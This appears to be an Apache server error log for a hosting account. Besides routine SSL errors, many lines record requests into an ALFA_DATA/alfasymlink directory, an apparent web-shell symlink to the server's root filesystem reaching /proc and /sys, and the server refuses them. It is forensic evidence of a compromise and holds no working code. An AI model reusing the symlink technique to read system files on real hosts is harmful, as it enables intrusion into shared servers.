[Sat Oct 24 10:32:41.358374 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 185.191.171.15:48106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PING/align
[Sat Oct 24 10:32:42.707407 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.156.124.2:41519] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:32:46.903012 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 35.171.141.42:55643] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:32:51.184389 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 185.191.171.10:16184] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:32:51.804653 2026] [security2:error] [pid 2627273:tid 2627273] [client 107.22.208.39:36100] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/driver/"] [unique_id "atzBkxdOhHN-18IxgZKsEQAAAAY"]
[Sat Oct 24 10:32:51.804704 2026] [security2:error] [pid 2627273:tid 2627273] [client 107.22.208.39:36100] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/driver/"] [unique_id "atzBkxdOhHN-18IxgZKsEQAAAAY"]
[Sat Oct 24 10:32:54.781813 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.216.227.216:35543] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:32:58.729469 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 52.54.249.218:39124] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:33:30.709278 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 3.81.253.213:22309] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:33:42.457405 2026] [ssl:error] [pid 2653683:tid 2653683] (5)Input/output error: [client 98.83.226.125:63442] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:33:50.529625 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.22.87.224:47861] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:33:58.356309 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 34.234.206.30:17719] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:34:02.403188 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 34.236.41.241:61596] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:34:03.280299 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 85.208.96.194:52688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-192/slabs
[Sat Oct 24 10:34:10.244141 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 34.236.185.101:43428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS3/close_delay
[Sat Oct 24 10:34:18.264147 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.44.174.136:10790] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:34:22.290932 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 44.210.213.220:5715] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/remove
[Sat Oct 24 10:34:26.229220 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 98.82.59.253:46656] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:34:34.206986 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 52.200.58.199:3087] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:34:38.209457 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 18.204.152.114:54876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:34:50.176667 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 54.159.18.27:11304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/device:06/physical_node/driver/remove_id
[Sat Oct 24 10:34:54.204279 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 18.213.27.222:32794] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:02.348897 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.199.252.22:34237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:06.187539 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.91.122.193:15229] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:06.187787 2026] [security2:error] [pid 2635677:tid 2635677] [client 54.91.122.193:15229] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory18/phys_device"] [unique_id "atzCGoWurp-t0SwAQgRqkAAAAAQ"]
[Sat Oct 24 10:35:06.187843 2026] [security2:error] [pid 2635677:tid 2635677] [client 54.91.122.193:15229] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory18/phys_device"] [unique_id "atzCGoWurp-t0SwAQgRqkAAAAAQ"]
[Sat Oct 24 10:35:10.221800 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.221.227.90:36398] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:13.581498 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 185.191.171.6:25524] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:14.185690 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.204.89.12:27755] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:18.195427 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.94.156.104:21267] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:22.348181 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.54.15.103:5172] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:26.204381 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 3.231.193.38:26353] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:30.204264 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 34.233.114.237:18150] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:32.003489 2026] [authz_core:error] [pid 2653691:tid 2653691] [client 45.79.170.227:16124] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 10:35:34.394212 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 50.19.79.213:62017] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:38.276711 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 184.72.84.154:60807] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:50.213363 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 52.205.113.104:58888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:54.205491 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 54.147.238.89:50065] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:35:58.206788 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.207.79.144:13438] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:36:02.204302 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.235.215.92:65046] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:36:06.201019 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.204.12.115:37696] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:36:10.575229 2026] [ssl:error] [pid 2653819:tid 2653819] (5)Input/output error: [client 44.206.93.215:33550] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:36:14.191096 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 52.200.142.199:15066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/slots/8/module/uevent
[Sat Oct 24 10:36:18.241933 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 100.28.118.16:33042] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:36:22.178244 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 100.29.160.53:15633] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:36:30.614837 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.212:55054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/destroy_by_rcu
[Sat Oct 24 10:36:34.159408 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.217.82.254:5806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:36:38.230508 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.206.65.8:16238] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:36:50.670072 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 85.208.96.199:62228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:36:54.369066 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.193.2.57:40020] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:36:58.169357 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 18.214.238.178:27290] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:37:02.256186 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 34.203.111.15:50282] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:37:06.170296 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 100.25.120.246:18549] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:37:10.159243 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 100.29.155.89:54239] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:37:17.661127 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 185.191.171.12:10406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/red_zone
[Sat Oct 24 10:37:18.150814 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.70.138.176:64269] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:37:26.203421 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 44.207.252.58:53264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:37:50.149947 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.156.248.117:17155] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:37:51.661647 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 85.208.96.205:13108] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:37:56.353984 2026] [core:error] [pid 2653688:tid 2653688] (13)Permission denied: [client 185.191.171.7:46840] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/alloc_calls
[Sat Oct 24 10:37:58.216658 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 52.203.65.83:2394] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:38:14.240057 2026] [security2:error] [pid 2607843:tid 2607843] [client 52.3.26.180:20609] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/physical_node/cache/"] [unique_id "atzC1gSwRuPA-FjBma7KigAAAAI"]
[Sat Oct 24 10:38:14.240104 2026] [security2:error] [pid 2607843:tid 2607843] [client 52.3.26.180:20609] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/physical_node/cache/"] [unique_id "atzC1gSwRuPA-FjBma7KigAAAAI"]
[Sat Oct 24 10:38:18.247375 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.85.109.140:61189] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:38:38.159024 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.204.62.163:8558] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:38:42.159145 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.2.58.41:7460] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:38:46.168183 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.83.178.66:7919] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:38:54.151265 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.207.47.227:5705] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:39:02.149610 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 107.20.255.194:58655] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:39:10.319748 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 3.213.213.161:36146] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/physical_node/rescan
[Sat Oct 24 10:39:18.148204 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.204.12.115:61020] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:39:22.166200 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.211.148.239:29876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:39:26.159207 2026] [ssl:error] [pid 2653689:tid 2653689] (5)Input/output error: [client 98.83.226.125:17064] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:39:30.227983 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 44.197.76.210:29786] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:39:34.144569 2026] [core:error] [pid 2653688:tid 2653688] (13)Permission denied: [client 52.207.47.227:13598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/ata_generic/module/uevent
[Sat Oct 24 10:39:38.215367 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.210.58.238:35528] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:39:42.176541 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.215.59.93:52102] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:39:49.464447 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.15:11734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/alloc_calls
[Sat Oct 24 10:39:50.170721 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 18.215.77.19:62714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/vmd/remove_id
[Sat Oct 24 10:40:04.726917 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 185.191.171.1:45284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/destroy_by_rcu
[Sat Oct 24 10:40:06.159769 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.90.244.132:57503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:40:15.449445 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 85.208.96.203:36130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/fs/cgroup/blkio/blkio.reset_stats
[Sat Oct 24 10:40:18.165401 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 52.202.233.37:42649] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:40:22.186290 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 3.94.157.25:12290] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:40:34.255930 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.44.229.124:56743] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:40:38.310805 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.211.105.134:31353] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:40:42.146253 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.147.182.90:34425] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:40:50.591096 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.206.65.8:48751] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:40:54.157408 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.235.81.246:54079] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:40:58.169196 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.227.234.246:26521] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:41:03.203668 2026] [authz_core:error] [pid 2653819:tid 2653819] [client 45.79.170.227:17082] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 10:41:06.144288 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 54.147.182.90:52667] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:41:10.152943 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.235.239.240:21266] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:41:12.429387 2026] [core:error] [pid 2653688:tid 2653688] (13)Permission denied: [client 85.208.96.193:33152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-1k/total_objects
[Sat Oct 24 10:41:22.664394 2026] [authz_core:error] [pid 2653691:tid 2653691] [client 104.210.55.152:8044] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 10:41:34.149034 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.224.205.25:2341] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:41:50.154630 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 34.233.114.237:25348] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:41:54.140569 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 54.145.82.217:32049] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/physical_node/resource1
[Sat Oct 24 10:41:58.153627 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 100.29.155.89:27222] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:42:06.152027 2026] [ssl:error] [pid 2653691:tid 2653691] (5)Input/output error: [client 3.216.86.144:42161] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:42:10.155993 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 107.20.224.184:52265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:42:14.169467 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 44.212.131.50:7850] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:42:38.227153 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.224.205.25:56940] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:42:46.293481 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.83.56.1:53976] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:43:02.140079 2026] [core:error] [pid 2653688:tid 2653688] (13)Permission denied: [client 3.230.224.6:2089] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:07/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/new_id
[Sat Oct 24 10:43:07.246382 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.16:32212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/alloc_calls
[Sat Oct 24 10:43:10.137142 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 54.243.63.52:27781] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:43:15.170072 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 184.73.68.20:3684] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:43:30.181386 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 98.83.94.113:49981] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:43:35.599123 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 185.191.171.16:15552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_perm_event/align
[Sat Oct 24 10:43:54.174520 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 18.215.77.19:48204] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:43:58.161038 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 100.29.160.53:25961] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:44:02.332126 2026] [ssl:error] [pid 2653683:tid 2653683] (22)Invalid argument: [client 44.194.139.149:22488] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:44:03.240565 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 185.191.171.6:30758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/validate
[Sat Oct 24 10:44:10.164551 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 54.197.82.195:25309] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/unbind
[Sat Oct 24 10:44:34.193367 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.84.147.79:1964] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:44:38.152967 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.239.197.197:60263] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:44:46.140159 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.210.204.255:60552] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:44:48.866604 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 85.208.96.193:29238] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/free_calls
[Sat Oct 24 10:44:54.131475 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 50.17.193.48:47752] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:45:06.143344 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.210.114.189:35005] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:45:10.159483 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.218.103.254:64380] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:45:14.728855 2026] [core:crit] [pid 2653689:tid 2653689] (13)Permission denied: [client 216.244.66.250:39860] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/34/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/34/fd/' is executable
[Sat Oct 24 10:45:14.728919 2026] [core:crit] [pid 2653689:tid 2653689] (13)Permission denied: [client 216.244.66.250:39860] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/34/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/34/map_files/' is executable
[Sat Oct 24 10:45:14.728935 2026] [core:crit] [pid 2653689:tid 2653689] (13)Permission denied: [client 216.244.66.250:39860] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/34/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/34/fdinfo/' is executable
[Sat Oct 24 10:45:18.132690 2026] [ssl:error] [pid 2653688:tid 2653688] (5)Input/output error: [client 34.234.206.30:6492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:45:30.189894 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.234.206.30:51888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:45:36.028766 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 85.208.96.193:64470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/destroy_by_rcu
[Sat Oct 24 10:45:38.135600 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.209.174.110:11198] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:45:42.044983 2026] [core:error] [pid 2653688:tid 2653688] (13)Permission denied: [client 85.208.96.205:21364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dentry/slabs
[Sat Oct 24 10:45:42.253382 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 100.28.133.214:45825] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:45:46.241935 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 23.23.103.31:30732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:45:50.212182 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 44.218.6.93:17168] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:45:58.139756 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.90.244.132:21269] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:46:06.123861 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 184.73.195.18:52893] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:46:18.201549 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.200.58.199:65527] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:46:30.278054 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.196.6.199:36540] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:46:34.147709 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 54.85.126.86:2084] AH02013: coalesce failed to read from data bucket
